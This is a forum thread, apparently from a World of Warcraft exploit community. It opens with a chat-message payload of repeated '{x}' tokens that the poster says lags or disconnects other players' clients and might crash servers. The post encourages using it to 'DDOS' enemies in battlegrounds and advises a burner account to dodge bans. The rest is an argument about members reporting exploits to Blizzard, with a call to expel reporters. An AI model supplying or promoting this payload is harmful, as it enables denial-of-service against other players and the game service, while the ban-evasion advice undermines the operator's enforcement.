    Lag other people's WoW clients - potentially cause server crash

    Saw on Reddit, if you spam this in say LFG chat, anyone who has that chat open gets extremely heavy lag (people were reporting their clients got disconnected and received "A character with that name already exists error" after I did it).

    /4 {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x} {x}

    It was bad enough with just myself spamming it to instantly have several people asking why there FPS shot down / CPU was spinning up, theoretically could crash other people's games with it / potentially server.

    It also works in PM's, so you could potentially "DDOS" enemies in BG's/etc

    Very nice.

    Don't want to sound like someone's Dad, but Blizzard have historically had very low tolerance level for this sort of thing, so I'd use a burner for this one.
    Some extremely hot girls I bribed to advertise my youtube channel:

    You're right, my mistake. It is perfectly reasonable to want to leech off others and report their finds and/or make them public without their consent.

    Edit: Forgot this big one:
    Private party shares exploit with Shiek requesting he doesn't post it immediately (Spoiler: he posts it immediately and it gets fixed within hours). (8.3 Gamebreaking Infinite Corrupted Memento Exploit)

    I'm not gonna let you bait me into a response over something that happend over a year ago where I'm even on good terms with the person that had a reason to be upset with me "Frosty" and obviously I wasn't referring to that incident with "perfectly reasonable behaviour" and you know it because I publicly stated in the past that what I did wasn't cool and that's why I apologized to him and made it up to frosty which is why we are on good terms again. I would prefer if you don't maliciously take what I'm saying out of context.

    I'm not baiting you into a response, my reponse is literally just a large list of times where you've reported a game breaking exploit to Blizzard, or screwed up someone elses exploit. What other response do you expect from an exploiting community?

    "Oh yes Shiek, we know you like to get things fixed for your own benefit but we forgive you and will continue to answer all your questions with no issues whatsoever"?

    I've never complained about people not wanting to share their information with me. If their don't want to or they don't deem me trustworthy for whatever their intended goal is that's fine by me. I just don't wanna be painted as some sort bad guy that's all. Peace.

    IMHO anyone who's confirmed to be reporting content from this website to blizzard should be kindly shown the door, TBH
